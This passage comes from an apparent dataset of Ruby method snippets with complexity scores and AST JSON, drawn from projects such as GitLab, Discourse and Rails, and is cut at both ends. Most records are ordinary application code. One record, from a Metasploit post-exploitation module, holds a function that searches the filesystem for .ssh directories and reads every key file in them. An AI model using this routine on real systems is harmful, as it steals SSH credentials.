end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"update_session\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"close_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"close_reason\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}","id":"8b36c9e7-73bb-4ddc-a30e-d7331a4f8615"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse.rb","start_line":465,"raw_source":"def self.assets_digest\n @assets_digest ||=\n begin\n digest =\n Digest::MD5.hexdigest(\n Rails\n .application\n .assets\n .load_path\n .assets\n .map(&:digested_path)\n .map(&:to_s)\n .sort\n .join(\"|\"),\n )\n\n channel = \"/global/asset-version\"\n message = MessageBus.last_message(channel)\n\n MessageBus.publish channel, digest unless message && message.data == digest\n digest\n end\n end","complexity_score":32.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assets_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@assets_digest\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"assets\"]},\"load_path\"]},\"assets\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"digested_path\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"str\",\"children\":[\"/global/asset-version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"last_message\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"data\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]}]}","id":"726be52b-3495-4467-bab9-7615dbbf49ed"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/power.rb","start_line":67,"raw_source":"def raw_pause\n raise NotImplementedError, _(\"must be implemented in a subclass\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_pause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"5ba313e9-f7fe-47d6-ab48-53f07b8c10a8"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/settings/applications_spec.rb","start_line":142,"raw_source":"def user_application_token\n Doorkeeper::AccessToken.where(application:).where(resource_owner_id: user)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_application_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"AccessToken\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"send\",\"children\":[null,\"application\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_owner_id\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"a16efb42-c61d-43ee-beec-a0de2e8a5d71"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/counter_component.rb","start_line":49,"raw_source":"def shared_with_anyone_else_other_than_myself?\n Member.of_entity(@entity)\n .where.not(principal: User.current)\n .exists?\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_with_anyone_else_other_than_myself?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"of_entity\",{\"type\":\"ivar\",\"children\":[\"@entity\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"principal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"exists?\"]}]}","id":"2aad805e-4b20-46fb-b7fb-0a73abedb308"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_network.rb","start_line":107,"raw_source":"def get_ssh_keys\n keys = []\n\n # Look for .ssh folder, \"~/\" might not work everytime\n vprint_status('Execute: /usr/bin/find / -maxdepth 3 -name .ssh')\n dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh').split(\"\\n\")\n ssh_base = ''\n dirs.each do |d|\n if d =~ %r{(^/)(.*)\\.ssh$}\n ssh_base = d\n break\n end\n end\n\n # We didn't find .ssh :-(\n return [] if ssh_base == ''\n\n # List all the files under .ssh/\n files = execute(\"/bin/ls -a #{ssh_base}\").chomp.split\n\n files.each do |k|\n next if k =~ /^(\\.+)$/\n\n this_key = cat_file(\"#{ssh_base}/#{k}\")\n keys << this_key\n end\n\n return keys\n end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ssh_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Execute: /usr/bin/find / -maxdepth 3 -name .ssh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dirs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/find / -maxdepth 3 -name .ssh\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ssh_base\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^/)(.*)\\\\.ssh$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssh_base\",{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/ls -a \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]}]}]}]},\"chomp\"]},\"split\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\.+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_key\",{\"type\":\"send\",\"children\":[null,\"cat_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"this_key\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}","id":"000d0b61-4927-4677-8995-761fa0211316"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":110,"raw_source":"def find_locale_files(lang)\n locale_files.select { |file| file =~ /\\/#{lang}\\.yml$/ }\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_locale_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lang\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locale_files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lang\"]}]},{\"type\":\"str\",\"children\":[\"\\\\.yml$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"010bf3e3-9f01-4c14-b6de-430fc9a86ca0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/job_interface.rb","start_line":130,"raw_source":"def manual_job\n object.try(:action?)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"manual_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"action?\"]}]}]}","id":"2f5650c7-87c7-4d1a-951e-50189b28a8f8"} {"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/youtube_tag_spec.rb","start_line":7,"raw_source":"def generate_tag(input)\n Liquid::Template.parse(\"{% embed #{input} %}\").render\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% embed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]},\"render\"]}]}","id":"521465f5-12f8-46da-8d4c-a161aaaf7437"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_rate.rb","start_line":35,"raw_source":"def previous(reference_date = valid_from)\n # This might return a default rate\n cost_type.rate_at(reference_date - 1)\n end","complexity_score":5.75,"ast_json":"{\"type\":\"def\",\"children\":[\"previous\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"reference_date\",{\"type\":\"send\",\"children\":[null,\"valid_from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cost_type\"]},\"rate_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_date\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"f4fae58f-0feb-4d1b-b71b-328e6521b7a7"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/failure_raising_behavior.rb","start_line":133,"raw_source":"def test_clear_failure_returns_nil\n assert_raise Redis::BaseError do\n emulating_unavailability do |cache|\n cache.clear\n end\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clear_failure_returns_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"BaseError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emulating_unavailability\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"clear\"]}]}]}]}","id":"b46a3b26-76c8-4bd5-b699-6867ed86ccc2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/issuable/clone/attributes_rewriter.rb","start_line":43,"raw_source":"def matching_milestone(title)\n return if title.blank?\n\n params = { title: title, project_ids: project&.id, group_ids: group&.self_and_ancestors_ids }\n\n milestones = MilestonesFinder.new(params).execute\n milestones.first\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"self_and_ancestors_ids\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MilestonesFinder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestones\"]},\"first\"]}]}]}","id":"8530f6c1-3f75-4c3f-8e01-73e4d87e0ec3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820035405_prepare_assignee_id_indexes_for_merge_requests_bigint_conversion.rb","start_line":70,"raw_source":"def skip_migration?\n unless conversion_columns_exist?\n say \"No conversion columns found - migration skipped\"\n return true\n end\n\n false\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_migration?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversion_columns_exist?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"No conversion columns found - migration skipped\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"66de060a-ae22-4e03-adbe-6870d5b38962"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/json.rb","start_line":141,"raw_source":"def adapter_generate(object, opts = {})\n opts = standardize_opts(opts)\n\n Oj.generate(object, opts)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"adapter_generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[null,\"standardize_opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"b98c9328-dc3a-4769-8106-3be13a295442"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/param_helpers.rb","start_line":81,"raw_source":"def telegram_params_business_connection_id\n if callback_query_params?\n params[:callback_query][:message][:business_connection_id]\n else\n telegram_params_base_object[:business_connection_id]\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"telegram_params_business_connection_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callback_query_params?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"callback_query\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_connection_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"telegram_params_base_object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_connection_id\"]}]}]}]}","id":"34643e3e-5435-4485-ba0f-6815bff081a0"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mailers/base_mailer.rb","start_line":81,"raw_source":"def implicit_multipart_formats(hash = {})\n mail(hash)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"implicit_multipart_formats\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"da438212-8f78-4007-964e-9fb09877ee2e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/diffs_stream_controller.rb","start_line":14,"raw_source":"def diff_file_component(diff_file)\n ::RapidDiffs::MergeRequestDiffFileComponent\n .new(diff_file: diff_file, merge_request: @merge_request, parallel_view: view == :parallel)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RapidDiffs\"]},\"MergeRequestDiffFileComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_file\"]},{\"type\":\"lvar\",\"children\":[\"diff_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"ivar\",\"children\":[\"@merge_request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel_view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\"]},\"==\",{\"type\":\"sym\",\"children\":[\"parallel\"]}]}]}]}]}]}","id":"13f5bcc6-ebb0-4431-83e6-010c05ecf5f5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/version_saver.rb","start_line":28,"raw_source":"def gitlab_version_file\n File.join(@shared.export_path, Gitlab::ImportExport.gitlab_version_filename)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_version_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared\"]},\"export_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"gitlab_version_filename\"]}]}]}","id":"d5281905-7d62-4ad7-8f3d-c44f6fe6b326"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/topic_assigner.rb","start_line":29,"raw_source":"def self.publish_topic_tracking_state(topic, user_id)\n deprecation_note\n Assigner.publish_topic_tracking_state(topic, user_id)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_topic_tracking_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assigner\"]},\"publish_topic_tracking_state\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}","id":"7e0090cf-fd53-4e13-964a-88a723ccce41"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/local_store.rb","start_line":7,"raw_source":"def store_file(file, path)\n copy_file(file, \"#{public_dir}#{path}\")\n \"#{Discourse.base_path}#{path}\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copy_file\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"4a64e4bb-728c-4043-af46-25cd1ce95feb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/current/organization.rb","start_line":22,"raw_source":"def from_params\n from_group_params || from_organization_params\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_group_params\"]},{\"type\":\"send\",\"children\":[null,\"from_organization_params\"]}]}]}","id":"4257088c-96f2-43f9-b528-dd6ba1987937"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1208,"raw_source":"def test_migrate_raise_error_on_invalid_version_format\n version = ENV[\"VERSION\"]\n\n ENV[\"VERSION\"] = \"unknown\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"0.1.11\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1.1.11\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"0 \"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1.\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1_\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1__1\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1_name\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n ensure\n ENV[\"VERSION\"] = version\n end","complexity_score":67.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrate_raise_error_on_invalid_version_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERSION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"unknown\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target 